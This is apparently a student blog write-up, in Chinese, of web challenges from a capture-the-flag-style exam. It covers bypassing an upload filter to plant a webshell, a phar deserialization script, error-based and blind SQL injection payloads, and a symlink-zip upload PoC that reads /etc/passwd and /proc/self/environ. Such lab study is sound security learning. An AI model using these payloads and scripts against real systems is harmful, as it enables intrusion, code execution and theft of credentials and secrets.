• 期中考核复现(web)


    1z_upload

    进到这个页面里面还是挺懵的,什么也不知道

    点添加书籍之后发现变成了sql

    师兄给了源码,看了之后找到了他的限制函数

    但是肯定要先登录才可以 登录还是用bp爆破

    最后得到账号密码是admin/admin12345

    进来之后就可以看到那个文件上传的地方

    上传是有限制的,在源码中

    if (isset($_FILES['image']) && $_FILES['image']['name'] != "") {

        $image = $_FILES['image']['name'];
        $ext = pathinfo($image, PATHINFO_EXTENSION);

        if (strtolower($ext) == 'jpg') {
            $image = $_FILES['image']['name'];

            $image_content = file_get_contents($_FILES['image']['tmp_name']);
            $search_patterns = ['/\$_POST/i', '/\$_GET/i', '/eval/i', '/\?php/i'];
            foreach ($search_patterns as $pattern) {
                if (preg_match($pattern, $image_content)) {

                    header("Location: admin_get_hack.php?id=666");
                    exit();
                }
            }
            $directory_self = str_replace(basename($_SERVER['PHP_SELF']), '', $_SERVER['PHP_SELF']);
            $uploadDirectory = $_SERVER['DOCUMENT_ROOT'] . $directory_self . "bootstrap/img/";
            $uploadDirectory .= $image;
            move_uploaded_file($_FILES['image']['tmp_name'], $uploadDirectory);
        }
        else {
            header("Location: admin_get_hack.php?id=6");
            exit();
        }
    }

            $query = "INSERT INTO books (`book_isbn`, `book_title`, `book_author`, `book_image`, `book_descr`, `book_price`, `publisherid`) VALUES ('" . $isbn . "', '" . $title . "', '" . $author . "', '" . $image . "', '" . $descr . "', '" . $price . "', '" . $publisherid . "')";
            $result = mysqli_query($conn, $query);
            if($result){
                $_SESSION['book_success'] = "New Book has been added successfully";
                header("Location: admin_book.php");
            } else {
                $err =  "Can't add new data " . mysqli_error($conn);

            }
        }

    大概意思就是要绕过正则匹配的post,get,eval,?php,这几个,是内容检查,还有后缀检查要是jpg,当时想到是用js标签,但是把请求给忘了,怎么传都传不上去应该是用request传参

    过滤的eval函数可以用assert()函数来代替

    PHP 之 assert()函数 - 知乎

    一句话木马及免杀-CSDN博客

    REQUEST传参(REQUEST传参就是可以接受POST传参,也可以接受GET传参)

    正常的一句话木马:

    变形之后的:

    用这个上马就可以

    设置成jpg文件,直接上传

    然后去找传参值,在admin_baohan.php里边,因为这里边有文件包含include还有get传参

    利用这个php文件进行rce应该就可以了

    接下来就是找文件利用的路径,也是在admin_add里边

            $uploadDirectory = $_SERVER['DOCUMENT_ROOT'] . $directory_self . "bootstrap/img/";

    解释:这行代码是用来定义一个变量$uploadDirectory,它的值是服务器的根目录($_SERVER['DOCUMENT_ROOT'])加上一个相对路径($directory_self ."

    其中,$_SERVER['DOCUMENT_ROOT']是一个全局变量,它存储了服务器上当前运行脚本的文档根目录的绝对路径。这个路径通常是服务器的网站根目录。

    $directory_self是另一个变量,它可能是在之前的代码中定义的。它表示当前脚本所在的目录的相对路径。

    所以,$uploadDirectory的值就是服务器的根目录加上一个相对路径,即指向了一个名为“bootstrap/img/”的文件夹。这个文件夹可能是用来存储上传的图片文件的目录

    找到路径就可以进行命令执行了

    因题目环境问题,没法进行复现了,所以只能讲一下知识点

    看师兄用到的是scandir()函数 ,利用这个函数可以看到指定的文件目录

     cmd=var_dump(scandir('./'));

     还用了一个打印字符串的函数----var_dump 这个函数经常见到,但是没看过他的意思

    还有一个文件读取函数,利用的是file_get_contents()函数 会把整个文件读取到一个字符串内,最后就可以得到flag  cmd=var_dump(file_get_contents('./flag'));

    1z_upload2.0

    还是爆破得到用户名密码 admin/abc123

    做这题的时候,发现用1.0的方法不管用利用文件上传的路径发现过不去,上不了马

    看wp发现有robots.txt 也是在做题的时候经常遇到的

    还是用dirsearch扫一下,看到了好多可以访问的

     有robots.txt文件,访问

    接着访问   i_am_here.php,应该是base64,解码看看

    是一个什么东西 ,突然想到,还扫到一个www.zip文件

    访问看看,下载了

    发现要解压密码

    输入刚才解码的 得到了源码文件

     读源码,这里边是file传参的东西,并且有正则限制

    上传文件的关键源码

    '); //设置stub,添加gif文件头
    $phar ->addFromString('test.txt','test'); //要压缩的文件
    $phar -> setMetadata($m);//将自定义meta-data存入manifest
    $phar -> stopBuffering(); 停止缓冲对 Phar 归档的写入请求,并将更改保存到磁盘
    ?>

    脚本修改phar文件绕过  

    import gzip
    from hashlib import sha1
    with open('E:\\vscode\\vscode newfile\\phar\\exam.phar', 'rb') as file:
        f=file.read()
    s = f[:-28]#获取要签名的数据
    s = s.replace(b'3:{', b'4:{')#更换属性值,绕过_wakeup h=f[—8:] # 获取签名类型以及GBMB标识
    h = f[-8:]
    newf = s +sha1(s).digest() + h#数据+签名+(类型+GBMB)
    #print(newf)
    newf = gzip.compress(newf)#对Phar文件进行gzip压缩
    with open('E:\\vscode\\vscode newfile\\phar\\hack.jpg','wb')as file:#更改文件后缀 file.write(newf)
        file.write(newf)

    发现生成了一个jpg文件

     文件上传点上传文件,并利用phar伪协议来查看flag

    上传文件,找到了文件上传路径

     发现抓包抓不到wp里的包,上传正常的照片也是没有显示,就先复现到这里

    1z_sql

    sql也是给了源码

    error_reporting(0);

    $dbusername ='root'; //数据库名称设置和用户登录参数不能设置为一样
    $dbpassword ='root';
    $dbname ="kind";
    $servername = 'localhost';

    $conn = new mysqli($servername, $dbusername, $dbpassword, $dbname);
    if ($conn->connect_error) {
        die("连接失败: " . $conn->connect_error);
    }
    //echo "连接成功";
    function waf($str){

        $str=trim($str);
        $str=addslashes($str);
        $str=preg_replace("/\+|\*|\`|\/|\-|\$|\#|\^|\!|\@|\%|\&|\~|\^|\[|\]|\'|\)|\(|\"/", "", $str);//去除特殊符号+*`/-$#^~!@#$%&[]'"
        $str=preg_replace("/\s/", "", $str);//去除空格、换行符、制表符

        return $str;

    }

    function waf2($str){
        $black_list = "/=|and|union|if|sleep|length|substr|floor|updatexml/i";
        if(preg_match($black_list,$str))
        {
            echo "
    ";
            echo "你注你🐎呢";
            echo "
    ";
        }
        else{
            return $str;
        }
        
    }

        $uagent = $_SERVER['HTTP_USER_AGENT']; //在agent处进行注入
        $IP = $_SERVER['REMOTE_ADDR'];


    if(isset($_POST['username']) && isset($_POST['password']))

    {
    $username = waf($_POST['username']);
    $password = waf($_POST['password']);
    $uagent = waf2($uagent);


    $sql="SELECT username,password FROM sheet1 WHERE username='$username' and password='$password'";
        $result1 = mysqli_query($conn,$sql);
        $row1 = mysqli_fetch_array($result1);
            if($row1)
                {
                //echo '< font size = 3 >';
                $insert="INSERT INTO `uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent','$IP','$username')";//定义一个新表来写入内容,新表名称叫做uagents
                // echo $insert;
                // echo "
    ";
                mysqli_query($conn,$insert);
                //echo 'Your IP ADDRESS is: ' .$IP;
                echo "";
                //echo "
    ";
                //echo '';            
                echo 'Your User Agent is: ' .$uagent;
                echo "
    ";
                echo "
    ";
                print_r(mysqli_error($conn));            
                echo "

    ";
                echo "
    ";
                //echo 'your uname is: '.$username;

                echo "不错嘛能登上,加油!看看回显信息有思路了没有?";
                }
            else
                {
                //echo '';
                //echo "Try again looser";
                //print_r(mysqli_error($conn));
                echo "
    ";            
                echo "
    ";
                echo "
    ";
                echo "这都不行?还不好好学?";  
                }
            }
    ?>
           
           
           
           
            真的很简单
           
           
           

    登录


               

    Here is a poor page!


               


               
    ">
                username:

                password:

               
               

               


           


            
            
           


           
               

     总体意思

    1. 配置数据库连接参数:定义了数据库的用户名($dbusername)、密码($dbpassword)、数据库名称($dbname)和服务器名称($servername)。

    2. 建立数据库连接:使用mysqli类创建了一个数据库连接对象$conn,连接到指定的数据库。

    3. 定义了两个过滤函数:

      • waf($str):用于过滤用户输入的字符串,去除特殊字符和空白符。
      • waf2($str):用于检测用户输入的字符串是否包含黑名单中的关键词,如果包含则输出提示信息。
    4. 获取用户的HTTP_USER_AGENT和REMOTE_ADDR:从$_SERVER变量中获取用户的User-Agent和IP地址。

    5. 处理登录表单的提交:

      • 通过isset()函数检查是否提交了用户名和密码。
      • 使用waf()函数过滤输入的用户名和密码。
      • 使用waf2()函数检测User-Agent是否包含黑名单关键词。
      • 构建SQL查询语句,查询数据库中是否存在匹配的用户名和密码。
      • 如果查询成功,将User-Agent、IP地址和用户名插入到uagents表中,并输出一些信息。
      • 如果查询失败,输出一些错误信息。
    6. 显示登录页面的HTML代码。

    找一下关键代码,主要还是这两个防火墙进行了限制

    然后告诉了注入点

    $uagent = $_SERVER['HTTP_USER_AGENT']; //在agent处进行注入

    注入之前要先登录才可以,但是不知道账号密码,全靠爆破

    爆破出来账号密码是admin/8888888

     可以看到是有回显的,和源代码一样

    话不多说 直接抓包开注

    看师兄的wp,是用的报错注入,其中涉及到了两个没见过的函数

    1',2,(extractvalue(1,concat(0x5c,database(),0x5c))))# 

    • extractvalue()函数是MySQL数据库中的一个内置函数,用于从XML数据中提取指定路径的值。在这个字符串中,它被用于构造一个错误,以便在错误消息中插入一些数据。
    • concat()函数用于将多个字符串连接起来。在这个字符串中,它被用于构造一个包含特殊字符\和数据库名称的字符串。
    • 0x5c是十六进制表示的反斜杠字符\,在这个字符串中用于分隔数据库名称.

    sql差的太多,这段时间会着重学一下,

    我在bp里注入反而不行,就直接用hackbar插件进行注入

    查库

    1',2,(extractvalue(1,concat(0x5c,database(),0x5c))))# 

    查表

    1',2,(extractvalue(1,concat(0x5c,(select group_concat(table_name) from
    information_schema.tables where table_schema like "kind"),0x5c))))#

    查字段

    1',2,(extractvalue(1,concat(0x5c,(select group_concat(username,password) from
    kind.sheet1),0x5c)))),爆出来了

    因为回显长度不够,所以只能一部分一部分的爆

    1z_Sql2.0

    输入'or(1<>1)#,回显nonono

    不知道其后台限制,输入什么都是nonono,还有非法字符

    输入 'or(length((select(group_concat(password))from(yunxi_exam.users)))>0)#

    base64解码,发现提示是骗人的

     'or(ord(substr(reverse(substr(database() from 1)) from 10))<>121)#

    • database(): 返回当前数据库的名称。
    • substr(database() from 1): 返回数据库名称的子字符串,从第一个字符开始。
    • reverse(): 反转字符串的顺序。
    • substr(reverse(substr(database() from 1)) from 10): 返回反转后数据库名称的子字符串,从第十个字符开始。
    • ord(): 返回字符的 ASCII值。
    • <>: 不等于的比较操作符。

     'or(ord(substr(reverse(substr((select(group_concat(hack123))from(yunxi_exam.bighacke
    r2))from(1)))from(52)))<>87)#

    • select(group_concat(hack123))from(yunxi_exam.bighacker2): 在表中选择并合并yunxi_exam.bighacker2hack123字段的所有值。
    • substr((select(group_concat(hack123))from(yunxi_exam.bighacker2))from(1): 从合并后的值中获取第一个字符开始的子字符串。
    • reverse(): 反转字符串的顺序。
    • substr(reverse(substr((select(group_concat(hack123))from(yunxi_exam.bighacker2))from(1)))from(52)): 从反转后的子字符串中获取第52个字符开始的子字符串。
    • ord(): 返回字符的 ASCII值。
    • <>: 不等于的比较操作符。

    1z_flask

    这道题一开始的时候以为是ssti,但是注入之后发现没有回显,看到文件上传发现传什么显示什么

    考核的时候没思路,之后才知道是软连接,

    这个视频把软连接讲的非常清楚

    Linux-33Linux文件系统命令-ln链接中符号链接和硬链接的应用场景_哔哩哔哩_bilibili

    参考wp

    BUUCTF [HCTF 2018] Hide and seek_ctfhide and seek-CSDN博客

    看着这道题出的,wp讲的也很详细

    是和6月份国赛考的一样(unzip)都是软连接

    开始做

    点击去之后确定是软连接,然后制作软链接读取etc/passwd文件

    ln -s /etc/passwd passwd    //此时passwd就相当于etc/passwd

    ln是linux中一个非常重要命令,它的功能是为某一个文件在另外一个位置建立一个同步的链接.当我们需要在不同的目录,用到相同的文件时,我们不需要在每一个需要的目录下都放一个必须相同的文件,我们只要在某个固定的目录,放上该文件,然后在 其它的目录下用ln命令链接(link)它就可以,不必重复的占用磁盘空间。这个命令最常用的参数是-s,具体用法是:ln -s 源文件 目标文件。当 我们需要在不同的目录,用到相同的文件时,我们不需要在每一个需要的目录下都放一个必须相同的文件,我们只要在某个固定的目录,放上该文件,然后在其它的 目录下用ln命令链接(link)它就可以,不必重复的占用磁盘空间。

    -s 是代号(symbolic)的意思。
    这 里有两点要注意:第一,ln命令会保持每一处链接文件的同步性,也就是说,不论你改动了哪一处,其它的文件都会发生相同的变化;第二,ln的链接又软链接 和硬链接两种,软链接就是ln -s ** **,它只会在你选定的位置上生成一个文件的镜像,不会占用磁盘空间,硬链接ln ** **,没有参数-s, 它会在你选定的位置上生成一个和源文件大小相同的文件,无论是软链接还是硬链接,文件都保持同步变化。
    如果你用ls察看一个目录时,发现有的文件后面有一个@的符号,那就是一个用ln命令生成的文件,用ls -l命令去察看,就可以看到显示的link的路径了。 

    zip -y passwd.zip passwd

    拖到windows里边进行上传

    可以看到成功被执行

    成功被执行,制作读取/flag的软连接,但是未能得到回显

    猜测可能是用户权限的问题,尝试以admin用户登录:

    得到说你不是admin

    因为可以实现任意账号密码登陆,猜测可能没有数据库,而是通过Cookie判断,使用test用户登陆,查看Cookie 

    发现应该是session储存

     利用脚本解密可以发现加密的是用户名

    可以初步判断是以Session判断是否是admin用户,但伪造session还需要Flask的SECRET_KEY值。
    因为已经通过软连接读取任意文件,可以通过读取/proc/self/environ文件,以获取当前进程的环境变量列表。

    /proc是一种伪文件系统(也即虚拟文件系统),存储的是当前内核运行状态的一系列特殊文件,
    用户可以通过这些文件查看有关系统硬件及当前正在运行进程的信息,甚至可以通过更改其中某些文件来改变内核的运行状态。

    environ是 — 当前进程的环境变量列表,self可以替换成进程号。

    读取/proc/self/environ 

    生成一个指向/proc/self/environ的软链接
    ln -s /proc/self/environ env

    压缩这个软链接生成zip压缩文件
    zip -y env.zip env( zip使用参数-y,可以保留原文件中的软链接。)

    此时env就相当于/proc/self/environ 

    我们知道flasksession构造是需要secret_key的,所以我们的目标是去找到这个值,访问Linux的/proc/self/environ文件,它存放着环境变量,也就包括flask下的环境变量

    上传读取文件内容

    看到了DUWSGI_INI=/app/uwsgi.ini

    给了你/app/uwsgi.ini,而这个文件是uwsgi.ini配置文件,一般情况下 

    client —> nginx —> uwsgi --> flask后台程序 (生产上一般都用这个流程) 

    uWSGI是一个Web应用服务器,它具有应用服务器,代理,进程管理及应用监控等功能。它支持WSGI协议,同时它也支持自有的uWSGI协议

     发现其存在UWSGI_INI=/app/uwsgi.ini,也就是uwsgi服务器的配置文件,其中可能包含有源码路径,同样的方式制作软连接读取

    读取到的内容

    在 uWSGI 中,module 是一个配置选项,用于指定要加载的 Python 模块。该模块包含了 uWSGI 服务器要运行的应用程序的代码

     /app/uwsgi.ini里面找到了这个语句,他是加载了hard_t0_guess_bthclsbthcls.python_flask_edited_by_bthcls的这个python模块

    那他的源码路径就是/app/hard_t0_guess_bthclsbthcls/bthcls.py 

    和师兄给的那个是完全一样的,剩下的就是脚本执行

    利用师兄给的poc

    import os
    import requests
    import sys


    def make_zip():
        os.system('ln -s ' + sys.argv[2] + ' test_exp')
        os.system('zip -y test_exp.zip test_exp')


    def run():
        make_zip()
        res = requests.post(sys.argv[1], files={'the_file': open('./test_exp.zip', 'rb')})
        print(res.text)

        os.system('rm -rf test_exp')
        os.system('rm -rf test_exp.zip')


    if __name__ == '__main__':
        run()

    • 首先,通过 import 语句导入了 osrequests 和 sys 模块,用于执行系统操作、发送 HTTP 请求和访问命令行参数。

    • make_zip() 函数用于创建 ZIP 文件。它使用 os.system() 函数执行了两个命令:

      • ln -s 命令用于创建一个符号链接(软链接),将 sys.argv[2] 指定的文件链接到名为 test_exp 的符号链接文件上。sys.argv[2] 是命令行参数中的第三个参数,表示要链接的文件路径。
      • zip -y 命令用于将名为 test_exp 的文件(符号链接指向的文件)压缩为一个名为 test_exp.zip 的 ZIP 文件。
    • run() 函数用于执行整个流程:

      • 首先调用 make_zip() 函数来创建 ZIP 文件。
      • 然后使用 requests.post() 方法发送一个 POST 请求到 sys.argv[1] 指定的 URL,同时将 ZIP 文件作为文件上传。sys.argv[1] 是命令行参数中的第二个参数,表示要发送请求的目标 URL。
      • 最后打印服务器的响应文本。
    • 在 __name__ == '__main__' 的条件下,调用 run() 函数来执行整个脚本。

    最后用脚本来执行就可以得到flag,比原题省了很多步骤

  • 相关阅读:
    Linux基础内容(11)—— 进程理解
    Docker游戏Dos小游戏,一个web版的dos游戏库
    (附源码)ssm医院挂号系统 毕业设计 250858
    【Python小项目之Tkinter应用】随机点名/抽奖工具大优化:新增选项窗口!可选是否重复点名以及随机点名!可以手动选择文件及文件类型并预览文件!
    CADD课程学习(8)-- 化合物库虚拟筛选(Virtual Screening)
    两万字带你认识黑客在kali中使用的工具
    Linux安装MySQL(超详细)
    多人共用一个Linux用户, 实现Bash配置文件独立
    最全面的UI知识图谱推荐
    8、免费访问 GPT-4 的 3 种方法
  • 原文地址:https://blog.csdn.net/wwwwyyyrre/article/details/133846235